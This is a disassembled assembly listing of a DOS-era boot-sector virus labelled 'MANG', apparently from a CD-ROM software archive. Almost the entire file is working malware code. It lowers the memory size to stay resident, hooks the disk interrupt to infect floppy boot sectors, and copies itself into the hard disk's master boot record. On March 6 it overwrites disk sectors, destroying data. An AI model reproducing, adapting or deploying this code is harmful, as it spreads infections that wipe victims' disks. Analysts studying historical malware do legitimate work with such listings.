home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ MANG ██
- ;██ ██
- ;██ Created: 30-Aug-92 ██
- ;██ Passes: 5 Analysis Options on: none ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- data_0001e equ 4Ch
- data_0002e equ 4Eh
- main_ram_size_ equ 413h
- data_0003e equ 7C00h ;*
- data_0004e equ 7C05h ;*
- data_0005e equ 7C0Ah ;*
- data_0006e equ 7C0Ch ;*
- data_0007e equ 7
- data_0008e equ 8
- data_0009e equ 0Ah
- data_0014e equ 3BEh ;*
- data_0015e equ 7C03h ;*
- data_0016e equ 0B300h ;*
- data_0017e equ 1BEh ;*
- data_0018e equ 5000h ;*
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- mang proc far
-
- start:
- jmp loc_0007
- cmc ; Complement carry
- add [bx+si-61h],al
- add cl,ds:data_0016e
- db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
- db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
- db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
- db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
- db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
- db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
- db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
- db 00h
- db 50h, 53h, 51h, 52h, 1Eh, 06h
- db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
- db 0BEh, 04h, 00h
- loc_0002:
- mov ax,201h
- mov bx,200h
- mov cx,1
- xor dx,dx ; Zero register
- pushf ; Push flags
- call dword ptr ds:data_0009e
- jnc loc_0003 ; Jump if carry=0
- xor ax,ax ; Zero register
- pushf ; Push flags
- call dword ptr ds:data_0009e
- dec si
- jnz loc_0002 ; Jump if not zero
- jmp short loc_0006
- loc_0003:
- xor si,si ; Zero register
- cld ; Clear direction
- lodsw ; String [si] to ax
- cmp ax,[bx]
- jne loc_0004 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,[bx+2]
- je loc_0006 ; Jump if equal
- loc_0004:
- mov ax,301h
- mov dh,1
- mov cl,3
- cmp byte ptr [bx+15h],0FDh
- je loc_0005 ; Jump if equal
- mov cl,0Eh
- loc_0005:
- mov ds:data_0008e,cx
- pushf ; Push flags
- call dword ptr ds:data_0009e
- jc loc_0006 ; Jump if carry Set
- mov si,data_0014e
- mov di,1BEh
- mov cx,21h
- cld ; Clear direction
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- mov ax,301h
- xor bx,bx ; Zero register
- mov cx,1
- xor dx,dx ; Zero register
- pushf ; Push flags
- call dword ptr ds:data_0009e
- loc_0006:
- pop di
- pop si
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- retn
- loc_0007:
- xor ax,ax ; Zero register
- mov ds,ax
- cli ; Disable interrupts
- mov ss,ax
- mov ax,7C00h
- mov sp,ax
- sti ; Enable interrupts
- push ds
- push ax
- mov ax,ds:data_0001e
- mov ds:data_0005e,ax
- mov ax,ds:data_0002e
- mov ds:data_0006e,ax
- mov ax,ds:main_ram_size_
- dec ax
- dec ax
- mov ds:main_ram_size_,ax
- mov cl,6
- shl ax,cl ; Shift w/zeros fill
- mov es,ax
- mov ds:data_0004e,ax
- mov ax,0Eh
- mov ds:data_0001e,ax
- mov ds:data_0002e,es
- mov cx,1BEh
- mov si,data_0003e
- xor di,di ; Zero register
- cld ; Clear direction
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- jmp dword ptr cs:data_0015e
- xor ax,ax ; Zero register
- mov es,ax
- int 13h ; Disk dl=drive a ah=func 00h
- ; reset disk, al=return status
- push cs
- pop ds
- mov ax,201h
- mov bx,data_0003e
- mov cx,ds:data_0008e
- cmp cx,7
- jne loc_0008 ; Jump if not equal
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jmp short loc_0009
- loc_0008:
- mov cx,ds:data_0008e
- mov dx,100h
- int 13h ; Disk dl=drive a ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0009 ; Jump if carry Set
- push cs
- pop es
- mov ax,201h
- mov bx,200h
- mov cx,1
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 02h
- ; read sectors to memory es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0009 ; Jump if carry Set
- xor si,si ; Zero register
- cld ; Clear direction
- lodsw ; String [si] to ax
- cmp ax,[bx]
- jne loc_0014 ; Jump if not equal
- lodsw ; String [si] to ax
- cmp ax,[bx+2]
- jne loc_0014 ; Jump if not equal
- loc_0009:
- xor cx,cx ; Zero register
- mov ah,4
- int 1Ah ; Real time clock ah=func 04h
- ; get date cx=year, dx=mon/day
- cmp dx,306h
- je loc_0010 ; Jump if equal
- retf ; Return far
- loc_0010:
- xor dx,dx ; Zero register
- mov cx,1
- loc_0011:
- mov ax,309h
- mov si,ds:data_0008e
- cmp si,3
- je loc_0012 ; Jump if equal
- mov al,0Eh
- cmp si,0Eh
- je loc_0012 ; Jump if equal
- mov dl,80h
- mov byte ptr ds:data_0007e,4
- mov al,11h
- loc_0012:
- mov bx,data_0018e
- mov es,bx
- int 13h ; Disk dl=drive 0 ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jnc loc_0013 ; Jump if carry=0
- xor ah,ah ; Zero register
- int 13h ; Disk dl=drive 0 ah=func 00h
- ; reset disk, al=return status
- loc_0013:
- inc dh
- cmp dh,ds:data_0007e
- jb loc_0011 ; Jump if below
- xor dh,dh ; Zero register
- inc ch
- jmp short loc_0011
- loc_0014:
- mov cx,7
- mov ds:data_0008e,cx
- mov ax,301h
- mov dx,80h
- int 13h ; Disk dl=drive 0 ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jc loc_0009 ; Jump if carry Set
- mov si,data_0014e
- mov di,data_0017e
- mov cx,21h
- rep movsw ; Rep when cx >0 Mov [si] to es:[di]
- mov ax,301h
- xor bx,bx ; Zero register
- inc cl
- int 13h ; Disk dl=drive 0 ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
- jmp short loc_0009
- db 16 dup (0)
- db 0Ah, 'Replace and press any key w'
- db 'hen ready', 0Dh, 0Ah, 0
- db 'IO SYSMSDOS SYS'
- db 00h, 00h, 55h,0AAh
-
- mang endp
-
- seg_a ends
-
-
-
- end start
-